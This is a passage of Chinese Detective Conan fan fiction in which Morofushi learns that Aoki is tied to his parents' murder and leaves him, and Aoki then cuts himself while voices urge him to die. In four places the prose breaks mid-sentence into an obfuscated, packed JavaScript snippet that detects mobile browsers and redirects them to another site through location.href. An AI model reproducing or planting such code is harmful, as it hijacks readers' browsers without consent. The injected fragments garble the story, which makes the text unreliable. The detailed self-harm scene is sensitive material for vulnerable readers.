偏偏是天意弄人,他们就是在一个疑似案发现场的场景下重逢。 “警官……” 诸伏景光转过身,脸上似乎是皮笑肉不笑的表情,“警官”两个字活像是从牙缝里挤出来似的。 “……” “……” “……” 在看到这位客人的正脸后,伊达航最后的一点怀疑也被打破,跟在他身后的松田阵平和萩原研二也愣住了。 诸伏景光觉得自己像是被人兜头套了个罩子,伊达航嘴巴一张一合似乎在说些什么,可他一个字都听不清。 “光……” 还是青木修捏了捏他的手,小声提醒他。 “这位客人,你急匆匆的离开,是有什么事吗?” 伊达航按捺下心中的疑惑,公事公办地问。 诸伏景光在青木修的提醒下回神,看着伊达航的眼睛。 “我们来买个蛋糕就能遇上这种事……第一反应就是想走,不想沾染晦气上身。” 这个理由倒也还说得过去,给了伊达航一个暂时放过他们的理由。 “好吧,但事发突然,还请两位配合一下,稍等片刻。” 他是搜查一课的警察,这种事理应是他上阵,隶属于□□处理班的萩原研二和松田阵平就要轻松得多。 他俩不慌不忙同青木修打了个招呼。 “青木!好久不见!这段时间忙,我还惦记着要请你出来喝酒呢。” “好久不见啊,松田。” 青木修面上云淡风轻,心中却紧张的要命。 他可没忘记这几个人和诸伏景光认识的事情,更没忘记自己就是害死诸伏景光父母的那个人。 这段时间来的平静生活终究是一个假象,只需要一个细针,就能轻松挑破。 但是诸伏景光就站在自己身边,青木修几乎用尽了全身的力气才克制住想要颤抖的冲动。 尽管他已经非常小心,诸伏景光还是从他略有变快的呼吸频率中察觉出了异常。 他在害怕? 这个念头在诸伏景光的脑海中一闪而过,快的让他都没来得及抓住。 “这位是……” 萩原研二的视线从青木修身上移向诸伏景光。 眼下情况不明,现场人多眼杂,他们没有贸然和诸伏景光相认。 松田阵平不着痕迹地瞥了眼诸伏景光背后背着的贝斯包,直觉里面装的不可能是普通的贝斯。 “这位是绿川光,我朋友。”青木修为几人互相做起介绍,“这两位分别是松田阵平警官和萩原研二警官。” “你好,绿川先生。” “两位警官好。” 诸伏景光笑着和两人握手,手掌相触时暗自用了些力道。 “青木,还没听你提过,你是怎么和两位警官认识的?” 萩原研二没有放过这个告黑状的机会,“前段时间青木先生在箱子里昏倒,被我和松田发现,送去了医院打营养针。” “营养针?” 诸伏景光目移,青木修莫名心虚的缩缩脑袋。 “你和青木是朋友?你们现在住在一起?” 诸伏景光抬眼,“松田先生问这个干什么?” “就是想提醒一下你,青木被医生诊断营养不良,如果你们住在一起的话,可以多照顾他一点。” “谢谢提醒。” 诸伏景光依旧笑着,可看向青木修的眼神里分明写满了“你完蛋了”几个字。 青木修心中叫苦不迭,他从伊达航把两人叫住开始精神就全部放在诸伏景光身上,故而也就忽略了松田阵平贴在裤缝上,不断敲打的手指。 诸伏景光注意到他的动作,目光一暗,但依旧保持着笑容。 另一边,伊达航已经检查完倒地不醒的“受害者”——原来只是一场乌龙,晕倒的麻子小姐虽然点的是巧克力蛋糕,但是夹层里用了她严重过敏的芒果酱,引发咽喉肿痛导致的呼吸困难,这才倒地不起。 救护车很快赶到现场把病人拉走,在场的其他客人们见没有闹出人命,纷纷松了一口气,不多时,蛋糕店又重新恢复了热闹。 “青木再见,下次再一起喝酒啊。” 青木修跟着诸伏景光已经出了门,闻言回身冲着还在蛋糕店里的三人招招手。 “快回家吧。” 诸伏景光拉着他走得很快,“一会儿蛋糕化了就不好吃了。” 青木修的注意力重新被他转移回这块看起来就十分诱人的蛋糕上。 只是有些可惜,不知道是出于青木修的心理作用还是怎么回事,蛋糕没有看起来的那么好吃,甚至有些苦。 “怎么?不好吃吗?” 正在品尝另一半蛋糕的诸伏景光注意到青木修动作的迟滞,抬头问他。 “……没有。” 青木修嘴角勾起一个浅浅的笑,“蛋糕很好吃,我很喜欢。” “那就好,”诸伏景光几乎是不假思索地说,“等到你过生日的时候,我再给你买。” 青木修垂在桌子下的右手逐渐收紧。 等到过生日的时候……他还能活到那时候吗?就算到时候他还活着,诸伏景光会不会已经得知了父母死亡的真相? 青木修打了个哆嗦,不敢再往下想。 诸伏景光只当是没看见他的异常,等他吃完蛋糕之后收拾好残局,监督着人老老实实刷完牙上床睡觉。 青木修的睡眠一直有问题,常常在半夜毫无征兆的惊醒,但是自从和诸伏景光住在一起后,后者会睡前在他房间里小坐一会儿,一定程度上改善了他的睡眠问题。 这天晚上,诸伏景光和往常一样坐进青木修的卧室。 他的手机已经换成了和降谷零以及黑田兵卫他们联系时用的电话卡。 在青木修看不到的角度,他用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290288|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天晚上松田阵平告知他的邮箱发了封邮件。 不到一分钟,对面立刻回了消息。 [景光?] 诸伏景光眉眼松懈几分,四年多了,他终于重新和同期们联系上。 “青木修有问题?” 他可没错过今天晚上伊达航看青木修的眼神。 对面应该不止松田阵平一个人,诸伏景光下意识觉得应该是三个人都在。 实际上他猜的一点也不错,这边确实是伊达航和萩原研二,松田阵平三个人在一起。 他们帮着伊达航把蛋糕送回家藏好,等着娜塔莉加班回家,又惦记着诸伏景光,见缝插针赶回警视厅。 “景光还是……这么敏锐……” 伊达航看着邮件轻叹一声,看来今晚自己看向青木修的眼神没有被对方错过。 他让松田阵平给对方发送了几个邮件。 [这是警视厅内部文件,阅后即毁。青木修对伯父伯母死亡的案子非常关注。] 今晚的目的已经达成,交谈原本应该就在这里结束,但他们还是放心不下诸伏景光,末了又补了一句。 [你和小降谷万事小心。] 收到消息的诸伏景光瞳孔颤抖几下。 青木修对自己父母的案子非常关注? 他第一反应是不可能,青木修和自己父母的死又没有关系…… 诸伏景光忽然愣住了。 没有关系……吗? 在这个念头冒出来的刹那,一股凉意从脊椎直冲诸伏景光天灵盖! 他连忙打开松田阵平发过来的几个文件。 是外狩一死前最后几分钟的录像,以及他的尸检报告等。 外狩一死了? 诸伏景光感到一丝错愕。 他记得这个人入狱后的体检显示他非常健康。 然而就是这样一个一个月前的实践报告还显示非常健康的人,会死于突发的心脏病。 这个死法…… 诸伏景光莫名联想到,这个死法和组织常用的手段很像。 针对一些被抓的外围成员或者是知晓一些组织内幕的合作者,组织往往会通过投毒的方式暗中解决掉这些人。 虽然不清楚组织使用的药物是什么,但毋庸置疑警察队伍中有组织的人,并且组织投毒的技术已经都非常成熟,这么多次无一失败。 想到这一层,再看外狩一死前喃喃的遗言,诸伏景光只觉得一阵毛骨悚然。 他捏紧了手里的手机,咬紧牙关努力让自己不发出声音,以免影响已经陷入安眠的青木修。 神明在上,求求你们,不要让青木修和我爸妈的死有关系。 诸伏景光在心中一遍又一遍默念,希望天上的神明能够听到自己的祈祷。 但是在他做出这个祈祷的同时,命运已经冥冥中向他暗示着什么东西。 诸伏景光不是毫无察觉,他只是希望,希望自己的感觉是错的。 他已经知晓了这件事,就不会置之不理。 等到情绪稍微平复一些后,他重新拿起手机,开始联系降谷零。 以他对降谷零的了解,对方现在肯定还没睡觉,应该能够看到自己的消息。 54.第 54 章 不出诸伏景光预料,降谷零看到消息后立刻给他回来信息。 由于组织的安排有变,两人除了在警察厅的工作外,已经有一段时间没有私下接触过了。 诸伏景光骤一发来消息,吓得降谷零还以为是出了什么事——虽然严格意义上来说,也算是另一种形式的出事了。 [zero,你现在的权限能查到关于青木修的资料吗?] 降谷零没想到诸伏景光竟然是为了青木修的事情这么晚来找他。 [基础资料已经能查到了,他有什么问题吗?] 归功于朗姆的重视,降谷零在情报组升得很快,权限也跟着一开再开,可以说是除了朗姆意外整个情报组目前权限最高的人了。 [如果不冒险的话,你能不能帮我查一下和青木修相关的案子?] 降谷零被诸伏景光的话弄得有些摸不着头脑。 和青木修有关的案子?诸伏景光难道不应该比他更清楚吗? 意识到自己的话有歧义,诸伏景光赶忙又发来一条消息解释: [是查一查青木修小时候,有没有牵扯到什么案子?尤其是和长野有关的。] 诸伏景光每一条消息都弹得很快,可想而知他有多着急。 感知到诸伏景光的焦灼,降谷零也正色起来,用了隐藏IP登上情报组的资料库。 青木修已经被组织列为叛逃人员,他的资料也随之跟着被单独储存,想要找起来并不难。 不过但是凭降谷零的权限能查到的东西就有不少,密密麻麻的资料看得他头都有些大。 [资料很多,你稍等一下。] 检索资料的同时,降谷零还不忘分出神来安抚诸伏景光。 他清晰的意识到诸伏景光的状态不对劲。 自己的幼驯染他非常了解,如果不是遇到什么大事,对方绝对不会像现在这样沉不住气,大半夜来找他查资料。 降谷零把“长野”两个字输入检索栏,得到的资料总算是精确不少。 他一目十行看过去,最终把视线停在了一份文档的标题上。 点开之后先入眼的是一份名单。 其中两个姓诸伏的人一下子便抓住了他的眼球。 降谷零没由来的打了个寒颤,他把文档拉到最后,果然看到了针对这几个人名的标注: 这份名单上的人都是和青木修意外见过面的普通人。 青木修接受的实验保密等级非常高,组织为了保证绝对的安全,中间有把这一批实验体辗转到各地的分部实验室过。 这样一来,这些实验体难免会和一些与组织毫不相干的普通人接触。 但是组织谨小慎微,担心这些偶然的接触可能会给实验招来麻烦,便用了很多借刀杀人的法子让这些无辜的普通人死于一场场“意外”。 那两个以“诸伏”为姓氏的人,正是当年在制药公司与青木修有过一个照面的诸伏夫妇。 降谷零没有听诸伏景光提起过诸伏夫妇的具体名字,但想到诸伏景光今晚奇怪的举动,直觉还是告诉他,这两个人可能会和诸伏景光有关系。 短暂的思考后,降谷零将文档拍照发给了诸伏景光。 他没有再说什么,诸伏景光会有自己的判断。 诸伏景光少见的露出一副很焦急的样子,在自己的房间里不停地来回踱步,焦虑之情在脸上尽显。 做了这么久的卧底,他早就练就了一身喜怒不形于色的功夫,像今晚这样如此失态,还是头一回。 降谷零查资料的时间不长,但是每一分每一秒对于诸伏景光来说都不亚于凌迟一样的酷刑。 他的胸腔像是压上了一块大石头,明明还能喘气,却觉得自己吸入的空气中没有氧气似的。 轻微的窒息感弄得他头晕眼花。 他其实很想直接把隔壁已经睡着的青木修拉起来,当面问问对方是不是知道些什么。 但是他是个胆小鬼,他不敢这样做。 于是他便把求助转向了降谷零。 带着最后的一丝侥幸,他等待着命运的宣判。 不知过去了多久,手机里终于再一次传递来降谷零的消息。 诸伏景光一下子竟然没能把手机拿起来。 他试了好几次,才哆哆嗦嗦把手机从床上捧起来。 手机屏幕冷白的光刺痛了他的眼睛,以至于诸伏景光没能第一时间看到降谷零发过来的图片。 他揉了揉眼睛,心说仿佛老天都在阻止他看到事情的真相。 尽管上天已经极尽拖延,但终究无法阻挡命运之间的落下。 诸伏景光几乎是一眼就看到了名单里的那两个名字。 爸爸妈妈。 这个熟悉又陌生的称呼在他的心海中回荡。 在看到这两个名字的刹那,诸伏景光就已经明白了一切。 他的心脏好像是被一只手紧紧揪住,浑身的血液停流,在呼吸间变得冰凉。 “……啊……” 好半晌,诸伏景光才发出一声不似人的哀嚎。 他强迫自己把降谷零发来的几张照片一一看完,好像是为了斩断最后一丝念想。 诸伏景光想哭,想叫,想要咒骂命运的不公。 但是他现在什么也做不了,只能蜷缩在床上,揪住被子的一角,死死捂住嘴巴,尽量不要发出什么动静。 他咬着被子,泪水顺着脸颊流淌,落进嘴巴里。 眼泪又苦又涩,刺激的他想作呕。 甚至他连大力锤床都不行,只能一下一下发泄似的让拳头落在自己的身上。 及时过去了这么多年,及时外狩一已经归案,可是儿时父母遇害的场景仍旧是他摆脱不掉的梦魇。 十多年来,当初的场景始终是他噩梦的主题。 而现在,造成他噩梦起源的人就在隔壁的房间安睡着。 诸伏景光双眼猩红,呼吸粗重,外狩一来到他家残杀父母的场景在眼前重演,父母的惨叫声不断回荡着耳边。 “啊……” 隔着被子,诸伏景光咬破了口腔嫩肉也没能阻止自己嚎哭出声。 他觉得自己像是被扔进滚筒洗衣机似的天旋地转,眼前虚实不断交替,搅得他快要分不清幻觉和现实。 尽管心中早有准备,但是残酷的真相还是让他一时间难以接受。 残存的理智不断在大脑的角落提醒他: 青木修同样也是无辜的,他也是组织魔爪下的受害者。 一切罪恶的根源是组织,他不应该把父母意外离世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301006|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的锅扣到青木修头上。 但是内心山呼海啸般的悲痛还是无情地将这最后的一点理智打翻。 诸伏景光不明白为什么命运总是要和他开这种玩笑。 一边是早逝的父母,一边是他心动的爱人。 心中的天平不断摇晃着,始终无法重回平衡。 诸伏景光只觉得有人不断拿着大锤,一下下重锤他的大脑,让他完全丧失了冷静思考的能力。 原本平整的被子居然被他活生生撕裂了一块儿,但诸伏景光就像是没有察觉到似的,沉浸在自己的世界中。 恍惚间,他觉得自己又重新回到了当年的那个衣柜里。 外狩一就在外面哼着歌,提着斧头四处寻找他。 “不要……不要……” 诸伏景光打着哆嗦,眼睛紧紧闭着,口中不断重复着“不要”。 他显然又一次陷入梦魇。 降谷零见没有收到诸伏景光的回信,多年来的默契让他从背后窜出一股凉意。 他在自己的安全屋里焦急地抓了抓头发。 他很想不管不顾地去诸伏景光那边看一看到底是出了什么事。不过他现在理智仍在,心知诸伏景光那边还有青木修。 如果诸伏夫妇的死真的和青木修脱不开关系,那么诸伏景光就需要一个单独的空间消化这件事,然后处理好他和青木修之间的关系。 这么一想,降谷零克制住自己想要出门的冲动,迫使自己坐回沙发,等待诸伏景光的回应。 他最不缺的就是耐心。 在诸伏景光的陪伴下,青木修一连好几天都睡得不错。 偏偏今晚是个意外。 他做了噩梦。 和曾经那些不断闪回实验场景的噩梦不同,他今晚梦见了诸伏景光。 梦境很真实,让他意识不到自己在做梦。 诸伏景光举着手枪站在自己身前。 狙击手的手很稳,枪口距离自己只有一步之遥,但是诸伏景光的手却丝毫不见颤抖。 “杜林标。” 诸伏景光开口了,他看向青木修的眼神很冷,眼眶盛不下的杀机溢散出来。 青木修浑身上下每一块的肌肉都在咆哮着让他快跑,但脚下就像是生了根似的,移动不了分毫。 窗外电闪雷鸣狂风呼啸,漫天的黑云像是一堵厚厚的墙,逐渐朝着他压来。 凄厉的风声就像是婴孩的哭嚎,尖锐刺耳。 青木修的全部注意力都被诸伏景光所吸引。 “景光……” 梦中的青木修开口,但诸伏景光似乎是连听他说话的心情都没有,满脸嫌恶地用行动阻止了他接下来的话。 “杜林标。” 诸伏景光又叫了一声他的代号。 已经很久很久没停过诸伏景光叫自己的代号了,以至于,青木修差点就忘了,自己曾是杜林标。 “你该死。” 伴随着话音落地的,是子弹出膛时的虎啸。 青木修眼睁睁看着子弹向自己飞来,却忘记了一切动作。 他就静静地站在那里,等待命运铡刀落下。 子弹入肉的感觉并不痛,相反,他竟然产生了一丝解脱的快感。 青木修真的太累了。 55.第 55 章 青木修浑身冷汗地从噩梦中醒来。 或许是诸伏景光的竭力克制,他没注意到隔壁的动静。 “呼……” 青木修伸手抹了把额头上的汗珠,对着窗外的月亮发了一会儿呆,迷迷糊糊地再次陷入沉眠。 他依旧睡得很不安稳,但并没有睁眼,就像是被什么东西魇住了一样。 直到第二天天明,青木修才勉强从梦魇中挣脱,缓缓睁开了眼睛。 他的心里莫名闪过一丝不安,但他找不到由头。 “青木,起床了吗?” 门外响起诸伏景光的声音。 不知道是不是青木修的错觉,诸伏景光的嗓音很沙哑。 “马上来!” 青木修此刻还不知道发生了什么,连忙套好衣服从床上一跃而起。 “景光……” 青木修推开门,门板差点碰上毫无防备的诸伏景光的鼻子。 他正要说什么,抬眼看到诸伏景光的脸色,一时间所有的话都卡在嗓子里,不上不下的。 诸伏景光面色苍白,眼下青黑遮掩不住,眼珠发红,明显是哭过的样子,就连嘴唇都有被咬破后凝结的血痂。 “你……怎么了?” 看到他这副样子,青木修心中顿时警铃大作,直觉有什么不太好的事情可能已经发生了。 “青木。” 诸伏景光声音很轻,但是每一个字的发音都咬得很清晰。 轻飘飘的几个字落在青木修心上,却犹如万斤巨石,压的他有些呼吸不畅。 诸伏景光每说一个字都要耗费极大的力气。 他用了整整一晚的时间来接受青木修和自己父母的死有关系的事实,但接受不代表理解,想要完全消化掉这个事实,他可能还需要一点时间和空间。 “我已经知道了——你和我爸妈的死有关系。” 这句话好似一道惊雷炸响在青木修耳边。 他的耳朵里嗡嗡作响,一时间什么也听不清楚。 看着青木修的表情,无疑是给这件事又增加了一层实证。 他知道了…… 青木修的表情一瞬间变得很惊恐,有一个声音不断在他耳边重复“他知道了”。 这个声音不大,但是其中的恶意浓得化不开。 青木修好半天都没能找回自己的声音,于是诸伏景光接着往下说。 “你应该知道的比我早,但是你没有告诉我。” 青木修垂在身边的手握紧又松开、松开又握紧,如此反复几次。 最后他在诸伏景光的注视下认命般轻轻点头。 “……我……” 他试着开口,这一次成功的发出了声音。 “我……那两个警察,他们认识你……” 这时候,青木修不再有半分隐瞒,索性把自己知道的事情一股脑倒出来。 “我无意中听到了他们的谈话,联想到你,后来……” 和诸伏景光一样,青木修现在每说一个字都极为费力,以至于他不得不说几句话就停下来深吸一口气,以此来确保自己不会因为缺氧昏过去。 诸伏景光没有插话,他就站在那儿,安静地等待着青木修的解释。 “后来……我留了心,从他们的对话里把真相拼凑了出来……” 青木修已经不敢去看诸伏景光现在是个什么表情了。 “我曾经被转移到长野待过一段时间……新来的实验员弄错了我的等级,失误把我从地下的实验室放了出去。其实我也没有跑出去,就是从地下到了上面用来做幌子的制药公司。” 诸伏景光隐隐记得,父母似乎是有一次带领学生参观制药公司的经历,而家中的惨案就发生在那不久之后。 “我在上面没停留多久就被重新关回实验室,只是在上面遇到了一对姓诸伏的夫妇,他们以为我也是跟着家长来参观的小孩,正准备帮我叫人,研究员就把我带走了。” 仅仅是一个照面,组织就判了一对无辜的夫妇死刑。 “……就只有这一面吗?” 听他没了下文,诸伏景光这才出声道。 青木修想了想,确定自己只和那对夫妇有过一面之缘。 “只有那一次。” 诸伏景光深吸一口气。 按道理来说一夜没睡不至于让他头疼成这样子。 青木修指尖在衣角来回摩挲着,彰显着他此刻的不安。 原来当年的外狩一也不过是组织的傀儡。 他的心依旧在抽痛,不明白为什么偏偏会是青木修。 “景光……” 青木修鼓起勇气抬起头,还想说什么,却被诸伏景光一个手势制止了。 诸伏景光抬起手,掌心朝外,示意青木修不要再说话。 他很是疲惫地捏了捏眉心。 “青木,我觉得我需要一点时间……” 这不是他随心所欲的决定,而是经过一晚痛彻心扉的思考得出的结果。 他现在需要时间和空间来独自消化这件事,无论是谁都帮不了忙。 青木修面色瞬间变得惨白。 但是他没有立场。没有资格阻拦诸伏景光。凭心而论,如果这件事发生在自己身上,他也不能很快就接受事实。 迟疑片刻,青木修从嗓子眼挤出一个很轻很轻的“嗯”。 在诸伏景光说出他已经知道真相的时候,自己就应该有所预料。 诸伏景光从自己的房间拎出一个旅行包和从不离身的贝斯包,显然是在此之前就已经做好了准备。 “我要暂时离开一段时间,安全屋留给你。” 他说完拿出一个纸包,“这里还有一些钱。” 青木修没动,诸伏景光也不强迫他去接,而是弯腰把纸包放在了茶几上。 “保重。” 留下这两个字,诸伏景光没有任何犹豫地离开了。 青木修一直处在半神游的状态,还是关门声唤回了他的神智。 他很是迟钝地眨眨眼睛,仿佛才刚刚意识到诸伏景光已经走了。 这个认知很快诱发了剧烈的头痛。 青木修踉跄两步跌坐在地上。 疼痛的风暴很快将他吞噬。 这一次青木修没有尝试着去和疼痛做对抗,他放任自己的意识在风暴中逐渐沉沦。 “就这样闭上眼也不错……” 他趴伏在地上,很快失去了意识。 这一次他昏迷了很久,等到再睁眼时,窗外已经是夕阳西下。 诸伏景光不敢让自己去想和青木修有关的事情,他茫然地在城市里游荡,最后不知不觉中竟然来到了几乎和原来的安全屋呈对角线的位置。 突发的变故让他筋疲力尽,没有再多做耽搁,他随意在附近找了个地方先安顿下来。 手机里有好几条降谷零发来的消息。 诸伏景光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311109|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单收拾好东西后放任自己倒在床上,拿起手机简单跟降谷零交代了事实。 得知真相的降谷零瞳孔地震,差点没把手里的手机扔出去。 原来青木修真的和诸伏景光父母的死有关系! 饶是他已经在情报组的资料库里见过了太多离奇的故事,也不得不感叹一声这是什么孽缘。 竟然会让这样两个人走在一起。 尽管诸伏景光从未承认过自己和青木修的关系,但是作为他的幼驯染,降谷零还是早早就觉察出他的不对劲。 只不过他一直都没有点明罢了。 降谷零一时间有些庆幸,这样或许能让诸伏景光彻底和青木修划清界限;一边又有些难过,觉得背负的真相会让幼驯染痛苦。 诸伏景光不知道降谷零的心情到底有多么复杂,一夜没睡的他在神经稍稍放松下来后很快陷入了梦境。 只不过不是什么好梦。 梦中他回到了父母遇害的那一天——不是以当年自己的视角,而是以一个游离在事件之外的第三视角。 诸伏太太还在厨房里忙活着,诸伏先生带着还年幼的诸伏景光坐上餐桌,正在逗儿子玩。 “马上就开饭了!” 诸伏太太清亮的嗓音从厨房中传来。 诸伏景光清晰的意识到自己是在做梦,可是尝试了很多方法也没有从梦中醒来吗,只能被迫在原地观看即将发生的惨案。 “小景在这里乖乖坐好,爸爸去帮妈妈端饭好不好啊?” 年幼的自己点点头,拍着手催促父亲快去厨房给母亲帮忙。 “今天是香喷喷的咖喱哦~” 不多时,诸伏先生端着一盘咖喱饭从厨房里出来,稳稳当当摆在幼年诸伏景光面前。 小小的诸伏景光动手就想吃,却被诸伏先生拦下来,“妈妈还没来呢,我们要等她一起吃饭啊。” 小孩这才作罢,但是一双亮晶晶的猫眼就跟黏在咖喱饭上了似的,一眨不眨紧紧盯着香喷喷的饭菜。 “开饭了!” 诸伏太太做好最后一道菜,端着盘子跟诸伏先生一起走出来。 她很温柔地摸了摸诸伏景光的脑袋,“我们小景久等了~” 小孩迫不及待地拍拍身边空着的椅子,“妈妈快来!” 诸伏太太拉开餐椅在他身边坐下。 诸伏先生则是在厨房里给妻儿倒果汁。 门铃忽然响了。 诸伏景光瞳孔一缩,想要拦住放下果汁去前厅一探究竟的诸伏先生。 但这终究是徒劳,他的手从诸伏先生的身体中穿过。 不多时,前厅传来了诸伏先生的惨叫。 诸伏太太意识到事情不对,趴在门板上朝外看了一眼,立刻起身抱起小小的诸伏景光,把孩子塞进衣柜里。 “景光,不管一会儿发生什么,你都千万不要出声,千万不要出来!” 说完这句话,诸伏太太就匆忙跑回餐厅,试图拦住外狩一。 早就知道最后结局的诸伏景光不忍地闭上眼。 诸伏太太温热的血灼痛了他。 犹如滚烫的岩浆,诸伏景光被烫的一个激灵,从床上摔下去。 “终于……醒过来了……” 他呼出一口浊气,从地上爬起一看,被褥都已经被汗水浸湿。 诸伏景光坐回床上,双手捧住脸。 良久的沉默后,是一声压抑到极致的啜泣, 56.第 56 章 青木修的状况很不好。 和诸伏景光重逢之后,他一直小心翼翼地隐藏着那个秘密。 但是这个秘密还是被暴露在了阳光下。 就像是滋生在黑暗中的秽物,一见到光就会被灼伤一样。 诸伏景光知道了他竭力想要隐藏的秘密。 这已然成为了一个事实。 青木修在最开始的几天还能自我控制,没成想过了几天之后后遗症发作越来越频繁,无奈之下,他只好搬进了原来诸伏景光的房间,靠着原主人留下的被褥勉力支撑。 但是诸伏景光留下的那一丁点气味很快就消散了。 漫漫长夜,青木修脱力地躺在诸伏景光的床上,把自己紧紧缩成一团,肩背耸动着。 头疼得越来越厉害,他终于忍受不了,从床上下来,走进厨房。 整齐码放在架子上的刀具在月光下闪着寒光。 青木修面无表情地从中抽出一把水果刀,刀尖对准自己,比划了几下。 他的耳朵边不知何时出现了一个声音,语调听上去和那天秘密暴露时在他耳边说“他知道了”的那个声音一模一样。 “死了就好了……” “你死了就能结束一切了……” “只要你死了,他就会原谅你……” 冰凉的刀锋搭上白皙的手腕。 青木修的眼神逐渐放空,握着刀的左手轻微地颤抖着,一点点向下用力。 “你就是个错误……” “你不应该存在……” “你的出现于他而言只是麻烦……” 充满恶意的声音不断在他耳边轻声呢喃。 刀锋向下,被划破的手腕很快渗出血珠,连成一条线,顺着修长的指尖滴落在地上。 “不……” 不知是想到了什么,青木修涣散的目光凝实了一点。 向下的刀停住了。 “组织……组织还没有消灭……” 青木修喃喃,不知道是在说给谁听。 “他的愿望……还没有实现。” 这句话就像是解除魔障的咒语,青木修几乎是瞬间就清醒了过来,手腕一抖,站着血的水果刀掉落在地上,发出“叮啷”的声响。 他看着自己还在不断流血的手腕,有些怔愣地抬起另一只没有受伤的手,戳了戳皮肉翻卷的伤口。 好疼。 他一个激灵,“噔噔”后退几步。 幻觉逐渐褪去,被压制的敏锐痛觉迅速反过来控制住神经,手腕上传递来的剧痛让青木修意识到自己做了什么。 刚刚的自己就像是被什么东西控制了一样…… 他皱起眉头,这种失控的感觉真的很不好。 可是他并没有非常排斥方才短暂的失控。毕竟那个声音只是如实把他的心里话说出来了而已。 他本来就是一个错误,错误是应该被修正的。 弯腰从地上捡起水果刀,青木修把它清洗干净重新插回刀架里,这才分出了一点注意力到一直叫嚣着疼痛的手腕上。 他忽然有些怀念以前感觉不到疼痛的日子了。 青木修走了个神,如果感觉不到疼痛,离开时是不是就不会痛苦了? 只是现在的局面远没有到他能幻想“离开”的时候,眼下组织还是一个大麻烦。 青木修翻找出急救箱,简单给手腕上的伤口做了止血。 包扎完成,他晃了晃手腕,试着活动了一下手指。 还好,没有割的太深,不影响正常活动。 至于伤口带来的疼痛都是无伤大雅的小事,他早就适应各种疼痛了。 原本这应当只是生活中出的小插曲,但青木修还是发现了异常。 这种无意识伤害自己的事情频率发生的越来越高了。 要是完全被爆发的后遗症疼晕过去了还好,有时候就是在他还没有完全昏迷的时候,会不自觉地做出一些自伤的行为。 这才过去没几天,他身上就大大小小全是伤口。 “……” 沉默地包扎好下腹划破的伤口,青木修忽然叹了口气。 自打诸伏景光离开后,他就一直是这样非必要不出门的状态,也没有再去可以打听诸伏景光的消息。 他现在大概也不想见我…… 青木修很沮丧,甚至有些后悔当年跑出实验室的自己。 如果没有跑出去就不会遇见诸伏夫妇了,不遇见诸伏夫妇,他们也不会死了…… 难以言喻的悲伤汹涌而来,将青木修裹挟其中。 他安静地蜷缩在床上,一只手死死地揪着枕头,像是一尊安静的雕塑。 后遗症再一次爆发,痉挛牵动着浑身的肌肉,还未完全愈合的伤口再次破裂,痛得青木修五官皱成一团。 有血迹从他的衣服里晕出来,沾在了诸伏景光的床铺上。 青木修对此毫无所觉,他像是一张拉满的弓,不知过去多久,弓弦“啪”的断掉,床上的人也随之没了意识。 . 降谷零得知诸伏景光和青木修分开之后没有第一时间去找他。 这件事落在谁身上都不好受,他知道诸伏景光需要一点时间独处。 当然,他也没有闲着—— 他查到了一点有关组织BOSS的蛛丝马迹。 虽然线索不多,但也足够让人兴奋了。 如果能够查出组织BOSS的具体下落,一举将人控制住,那么接下来的工作就会轻松许多。 只是这突然出现在眼前的线索也让降谷零起了疑心。 查了这么久都没有踪迹的人,突然在自己面前露出马脚,怎么看都有些不对劲。 但机会难得,降谷零经过一番思想斗争后,还是决定追着线索查下去。 作为一个合格的公安,他知道辨别情报真假的重要性,但是他也知道BOSS的消息对于他们的重要程度。 经过一段时间的跟踪,他最终掌握了BOSS行踪的情报。 再决定将情报投递出去之前,他也犹豫片刻,思考要不要将这条消息传递回公安。 这条情报很棘手,一时半会儿他也无法判定情报的真假。 但机不可失时不再来,一旦错过了这次机会,不知道又要牺牲多少人。 降谷零咬咬牙,不管是真是假,总归要赌一把。 ……起码还有诸伏景光。 他在心里自我安慰,起码还有诸伏景光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323651|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为最后的底牌,如果自己出了事,诸伏景光一定会毫不犹豫地顶上。 情报经过一番漂泊,最后安稳的落在黑田兵卫的手上。 